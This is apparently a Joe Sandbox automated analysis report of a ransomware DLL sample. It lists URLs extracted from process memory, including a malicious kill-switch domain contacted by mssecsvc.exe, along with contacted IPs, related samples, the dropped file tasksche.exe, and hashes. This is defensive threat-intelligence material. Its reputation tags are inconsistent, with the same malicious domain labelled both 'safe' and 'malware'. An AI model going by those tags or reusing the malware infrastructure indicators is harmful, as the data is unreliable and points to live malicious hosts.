                                                                          https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?svchost.exe, 0000000C.00000002.322681559.000002174D05C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 0000000C.00000002.322529801.000002174D013000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=svchost.exe, 0000000C.00000003.322230496.000002174D041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322596876.000002174D042000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://%s.xboxlive.comsvchost.exe, 00000009.00000000.540255218.000002385E444000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.815464461.000002385E444000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • URL Reputation: safe
                                                                                		low
                                                                                https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=svchost.exe, 0000000C.00000003.322087627.000002174D047000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322650603.000002174D04E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=svchost.exe, 0000000C.00000003.299654463.000002174D031000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionIDsvchost.exe, 00000028.00000000.440264232.000002631E56D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.839773375.000002631E56D000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://dev.virtualearth.net/mapcontrol/logging.ashxsvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.commssecsvc.exe.2.drtrue
                                                                                              • URL Reputation: malware
                                                                                              		unknown
                                                                                              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 0000000C.00000003.299654463.000002174D031000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com//mssecsvc.exe, 00000004.00000002.558158091.0000000000C8A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                  • Avira URL Cloud: malware
                                                                                                  		unknown
                                                                                                  https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 0000000C.00000003.322230496.000002174D041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322596876.000002174D042000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://dynamic.tsvchost.exe, 0000000C.00000002.322709636.000002174D064000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    • URL Reputation: safe
                                                                                                    		unknown
                                                                                                    https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comYmssecsvc.exe, 00000004.00000002.558158091.0000000000C8A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://t0.ssl.ak.tiles.virtualearth.net/tiles/gensvchost.exe, 0000000C.00000002.322583317.000002174D03A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.299654463.000002174D031000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://www.kryptoslogic.commssecsvc.exe, 00000004.00000002.558528675.0000000000CD6000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                        • URL Reputation: safe
                                                                                                        		unknown
                                                                                                        http://www.google.comsvchost.exe, 0000001E.00000002.819954632.00000219BE6C7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.391759511.00000219BE6C7000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://Passport.NET/tbsvchost.exe, 00000028.00000000.430968675.000002631D5C0000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 0000000C.00000002.322681559.000002174D05C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://activity.windows.comsvchost.exe, 00000009.00000000.540255218.000002385E444000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.815464461.000002385E444000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              http://www.bingmapsportal.comsvchost.exe, 0000000C.00000002.322529801.000002174D013000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://dev.ditu.live.com/REST/v1/Locationssvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJmssecsvc.exe, 00000004.00000002.556995102.000000000019C000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                                                    • URL Reputation: safe
                                                                                                                    		unknown
                                                                                                                    https://%s.dnet.xboxlive.comsvchost.exe, 00000009.00000000.540255218.000002385E444000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.815464461.000002385E444000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    • URL Reputation: safe
                                                                                                                    		low
                                                                                                                    https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high

                                                                                                                      World Map of Contacted IPs

                                                                                                                      • No. of IPs < 25%
                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                      • 75% < No. of IPs

                                                                                                                      Public IPs

                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                      104.17.244.81
                                                                                                                      		www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comUnited States
                                                                                                                      		13335CLOUDFLARENETUStrue

                                                                                                                      Private

                                                                                                                      IP
                                                                                                                      192.168.2.1
                                                                                                                      127.0.0.1

                                                                                                                      General Information

                                                                                                                      Joe Sandbox Version:35.0.0 Citrine
                                                                                                                      Analysis ID:670833
                                                                                                                      Start date and time: 21/07/202207:24:552022-07-21 07:24:55 +02:00
                                                                                                                      Joe Sandbox Product:CloudBasic
                                                                                                                      Overall analysis duration:0h 15m 55s
                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                      Report type:full
                                                                                                                      Sample file name:7Qu8thR7WW (renamed file extension from none to dll)
                                                                                                                      Cookbook file name:default.jbs
                                                                                                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                      Number of analysed new started processes analysed:24
                                                                                                                      Number of new started drivers analysed:0
                                                                                                                      Number of existing processes analysed:0
                                                                                                                      Number of existing drivers analysed:0
                                                                                                                      Number of injected processes analysed:17
                                                                                                                      Technologies:
                                                                                                                      • HCA enabled
                                                                                                                      • EGA enabled
                                                                                                                      • HDC enabled
                                                                                                                      • AMSI enabled
                                                                                                                      Analysis Mode:default
                                                                                                                      Analysis stop reason:Timeout
                                                                                                                      Detection:MAL
                                                                                                                      Classification:mal100.rans.troj.evad.winDLL@30/9@22/3
                                                                                                                      EGA Information:
                                                                                                                      • Successful, ratio: 75%
                                                                                                                      HDC Information:
                                                                                                                      • Successful, ratio: 29.4% (good quality ratio 27%)
                                                                                                                      • Quality average: 76.1%
                                                                                                                      • Quality standard deviation: 31.4%
                                                                                                                      HCA Information:
                                                                                                                      • Successful, ratio: 57%
                                                                                                                      • Number of executed functions: 20
                                                                                                                      • Number of non-executed functions: 97
                                                                                                                      Cookbook Comments:
                                                                                                                      • Adjust boot time
                                                                                                                      • Enable AMSI
                                                                                                                      • Override analysis time to 240s for rundll32

                                                                                                                      Warnings

                                                                                                                      • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe
                                                                                                                      • Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.82.209.183, 40.119.249.228, 23.205.181.161, 51.104.136.2, 20.40.136.238, 20.238.103.94
                                                                                                                      • Excluded domains from analysis (whitelisted): vanjbe.com, dctzar.com, elaxes.com, fdxabf.com, wprujy.com, ovtuyx.com, imqlsi.com, fs-wildcard.microsoft.com.edgekey.net, qjpwyy.com, www.bing.com, bzzxaa.com, jnsagy.com, iris-de-prod-azsc-frc-b.francecentral.cloudapp.azure.com, buiydb.com, iuerwc.com, evqxmm.com, ris-prod.trafficmanager.net, hulqaa.com, xolivy.com, jfemkg.com, uiuhak.com, ris.api.iris.microsoft.com, euppji.com, khvywi.com, ukiuqe.com, e12564.dspb.akamaiedge.net, sbaxaz.com, go.microsoft.com, kakfsu.com, arc.trafficmanager.net, oaxcuk.com, siumdo.com, prod.fs.microsoft.com.akadns.net, ftpjjt.com, fmteda.com, cbceyl.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, zaguew.com, ant.trenz.pl, gulnml.com, eydqtw.com, lyaade.com, atm-settingsfe-prod-weighted.trafficmanager.net, ackhta.com, llmgfw.com, afpezo.com, xigvgj.com, xgtyof.com, ybshzy.com, go.microsoft.com.edgekey.net, eabiyo.com, yrreqd.com, euoxub.com, settings-prod-sea-2.southeastasia.cloudapp.azure.com, olopvi.com, xxvyhc.com, a
                                                                                                                      • Execution Graph export aborted for target tasksche.exe, PID 1260 because there are no executed function
                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                      • Report size getting too big, too many NtWriteVirtualMemory calls found.

                                                                                                                      Simulations

                                                                                                                      Behavior and APIs

                                                                                                                      TimeTypeDescription
                                                                                                                      07:26:18API Interceptor1x Sleep call for process: loaddll32.exe modified
                                                                                                                      07:26:35API Interceptor4x Sleep call for process: svchost.exe modified
                                                                                                                      07:27:26API Interceptor1x Sleep call for process: UpdateNotificationMgr.exe modified

                                                                                                                      Joe Sandbox View / Context

                                                                                                                      IPs

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                      104.17.244.81Kq8sxCCgnb.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      5hHHsExlwx.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      IlpKomTIie.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      NXE94LoM7v.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      Z5aCnP2H7Z.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      Liw5SS6our.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      kvkcvyw5oX.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      dlMW8hjgjP.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      hkOMcMvb1g.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      pVq0MV4s45.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      b8CH3afUTp.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      uQfVWYzSkC.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      TigrxMihsc.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      7qaVQr9tBi.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      Gi9iPVUdJ7.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      AgyscofiN4.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      VSyjQOmuhc.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      D76jtXpDGy.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      rq3rrTFT5f.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                                                      dMcaouY91d.dllGet hashmaliciousBrowse
                                                                                                                      • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/

                                                                                                                      Domains

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                      www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comKq8sxCCgnb.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      5hHHsExlwx.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      XHlAv3DhlB.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      IlpKomTIie.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      VzAh2pC8hQ.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      MSmReFKunQ.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      bdXynoRgnV.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      NXE94LoM7v.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      p2zzIwIYiq.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      Z5aCnP2H7Z.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      Liw5SS6our.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      kvkcvyw5oX.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      dlMW8hjgjP.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      hkOMcMvb1g.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      pVq0MV4s45.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      E8eQACbq1C.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      b8CH3afUTp.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      T7uzj6B78d.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      uQfVWYzSkC.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80
                                                                                                                      oEPKuvzhOV.dllGet hashmaliciousBrowse
                                                                                                                      • 104.16.173.80

                                                                                                                      ASNs

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                      CLOUDFLARENETUSKq8sxCCgnb.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      5hHHsExlwx.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      IlpKomTIie.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      NXE94LoM7v.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      Z5aCnP2H7Z.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      Liw5SS6our.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      kvkcvyw5oX.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      dlMW8hjgjP.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      hkOMcMvb1g.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      pVq0MV4s45.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      E8eQACbq1C.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      b8CH3afUTp.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      T7uzj6B78d.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      uQfVWYzSkC.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      TigrxMihsc.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      7qaVQr9tBi.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      Gi9iPVUdJ7.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      AgyscofiN4.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      VSyjQOmuhc.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81
                                                                                                                      D76jtXpDGy.dllGet hashmaliciousBrowse
                                                                                                                      • 104.17.244.81

                                                                                                                      JA3 Fingerprints

                                                                                                                      ⊘No context

                                                                                                                      Dropped Files

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                      C:\Windows\tasksche.exeMSmReFKunQ.dllGet hashmaliciousBrowse
                                                                                                                        kXpnLUmuU2.dllGet hashmaliciousBrowse
                                                                                                                          TigrxMihsc.dllGet hashmaliciousBrowse
                                                                                                                            iTQzi9bir4.dllGet hashmaliciousBrowse
                                                                                                                              5nuyzrvshp.dllGet hashmaliciousBrowse
                                                                                                                                JJuyd5UnAs.dllGet hashmaliciousBrowse
                                                                                                                                  OiE7MtX6tI.dllGet hashmaliciousBrowse
                                                                                                                                    FFrKRs5Q7y.dllGet hashmaliciousBrowse
                                                                                                                                      rQJydZ0McE.dllGet hashmaliciousBrowse
                                                                                                                                        svRn7r2Rty.dllGet hashmaliciousBrowse
                                                                                                                                          O9KOr4E9LK.dllGet hashmaliciousBrowse
                                                                                                                                            rvmsgjuGfo.dllGet hashmaliciousBrowse
                                                                                                                                              ovoq6aoWTi.dllGet hashmaliciousBrowse
                                                                                                                                                fxyKXb2hV5.dllGet hashmaliciousBrowse
                                                                                                                                                  YsoENGep0M.dllGet hashmaliciousBrowse
                                                                                                                                                    oap4r2jjhD.dllGet hashmaliciousBrowse
                                                                                                                                                      11HRaPgStk.dllGet hashmaliciousBrowse
                                                                                                                                                        yP3DHwa4lC.dllGet hashmaliciousBrowse
                                                                                                                                                          rf8Mq00YCl.dllGet hashmaliciousBrowse
                                                                                                                                                            mssecsvc.exeGet hashmaliciousBrowse

                                                                                                                                                              Created / dropped Files

                                                                                                                                                              C:\Program Files\UNP\Logs\UpdateNotificationPipeline.001.etl

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\System32\UNP\UpdateNotificationMgr.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):131072
                                                                                                                                                              Entropy (8bit):0.48976844205219267
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:48:lNSsGhadeFtbbJGbd4bbd6bbIKbbWQbbFbbKSbbW6iskbb81z/GoPbb7xbbhI5hs:lkDHFtJsd4QIKWQF/W6iNS/H/Fi5hWN
                                                                                                                                                              MD5:E05E6657208E5175867921E6B95495DC
                                                                                                                                                              SHA1:B0234C1C60469242402600593D1BC8FDB993F472
                                                                                                                                                              SHA-256:EDE4F9F260A027F84818D2EBDB3CB3E67915C9438CA1FB37E071E914BFF7715C
                                                                                                                                                              SHA-512:3AF697416C48EF74C7A305C03EC0620800F6940BDC7CBB7A3391E4E7BF0B2362B001B4FD351DC1C39A442D59917214B72DDBC6D55D0028B1E367C5EDB5DEC546
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:....................................................!....................................e.......................B.......>......Zb.......`..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................D.s..3.... ......}..............M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...U.p.d.a.t.e.N.o.t.i.f.i.c.a.t.i.o.n.P.i.p.e.l.i.n.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.U.N.P.\.L.o.g.s.\.U.p.d.a.t.e.N.o.t.i.f.i.c.a.t.i.o.n.P.i.p.e.l.i.n.e...0.0.1...e.t.l...........P.P..........e..............................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                              C:\Program Files\UNP\Logs\UpdateNotificationPipeline.002.etl (copy)

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\System32\UNP\UpdateNotificationMgr.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):131072
                                                                                                                                                              Entropy (8bit):0.48976844205219267
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:48:lNSsGhadeFtbbJGbd4bbd6bbIKbbWQbbFbbKSbbW6iskbb81z/GoPbb7xbbhI5hs:lkDHFtJsd4QIKWQF/W6iNS/H/Fi5hWN
                                                                                                                                                              MD5:E05E6657208E5175867921E6B95495DC
                                                                                                                                                              SHA1:B0234C1C60469242402600593D1BC8FDB993F472
                                                                                                                                                              SHA-256:EDE4F9F260A027F84818D2EBDB3CB3E67915C9438CA1FB37E071E914BFF7715C
                                                                                                                                                              SHA-512:3AF697416C48EF74C7A305C03EC0620800F6940BDC7CBB7A3391E4E7BF0B2362B001B4FD351DC1C39A442D59917214B72DDBC6D55D0028B1E367C5EDB5DEC546
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:....................................................!....................................e.......................B.......>......Zb.......`..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................D.s..3.... ......}..............M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...U.p.d.a.t.e.N.o.t.i.f.i.c.a.t.i.o.n.P.i.p.e.l.i.n.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.U.N.P.\.L.o.g.s.\.U.p.d.a.t.e.N.o.t.i.f.i.c.a.t.i.o.n.P.i.p.e.l.i.n.e...0.0.1...e.t.l...........P.P..........e..............................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.chk

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):8192
                                                                                                                                                              Entropy (8bit):0.3593198815979092
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
                                                                                                                                                              MD5:BF1DC7D5D8DAD7478F426DF8B3F8BAA6
                                                                                                                                                              SHA1:C6B0BDE788F553F865D65F773D8F6A3546887E42
                                                                                                                                                              SHA-256:BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
                                                                                                                                                              SHA-512:00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:.............*..........3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................*.............................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                              File Type:MPEG-4 LOAS
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):1310720
                                                                                                                                                              Entropy (8bit):0.2494660714769427
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4I:BJiRdwfu2SRU4I
                                                                                                                                                              MD5:C2913A1AC5242AADE4C137FA794F7ABD
                                                                                                                                                              SHA1:9D034A1E6B0A88570CEAE83BF1000018176B1903
                                                                                                                                                              SHA-256:07810770CA6AD88039073DCF998211A4256352BA253CCA29908E9F23FA238A60
                                                                                                                                                              SHA-512:D9D0F30CC85AFB92E149F4ADA1298FF5FA6052115D137483B1CCF9D2C8EAA3448C6DFF962BDB8521E2E34AA43102749822ADFACDE63AA4CB896422A673DDA187
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                              File Type:Extensible storage engine DataBase, version 0x620, checksum 0x11b9c052, page size 16384, Windows version 10.0
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):786432
                                                                                                                                                              Entropy (8bit):0.2507056667871884
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:384:aOCO8+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:7zjSB2nSB2RSjlK/+mLesOj1J2
                                                                                                                                                              MD5:9A83D69B99C137675AF073226C268519
                                                                                                                                                              SHA1:6E5AF696C40B48B03A575D1A2BEE2E00E7C61CAB
                                                                                                                                                              SHA-256:0B758EE312F2FD57DD9349E93204CA070350F4FFCFE9D68BA05A4E7858BC52DB
                                                                                                                                                              SHA-512:DC7E1D9EBD5362149D79CA115147B65576249783D22CAA21F913E7E1E772A7149214755A140297CFD5BB657556CD1B40C50DCEACD6DD1951D1C63AF7B5B8222A
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:...R... ................e.f.3...w........................).....-....z=.#....z..h.(.....-....z=...)..............3...w...........................................................................................................B...........@...................................................................................................... ...................................................................................................................................................................................................................................................c<.-....z=.................SO..-....z=.........................................................................................................................................................................................................................................................................................................................................................................................

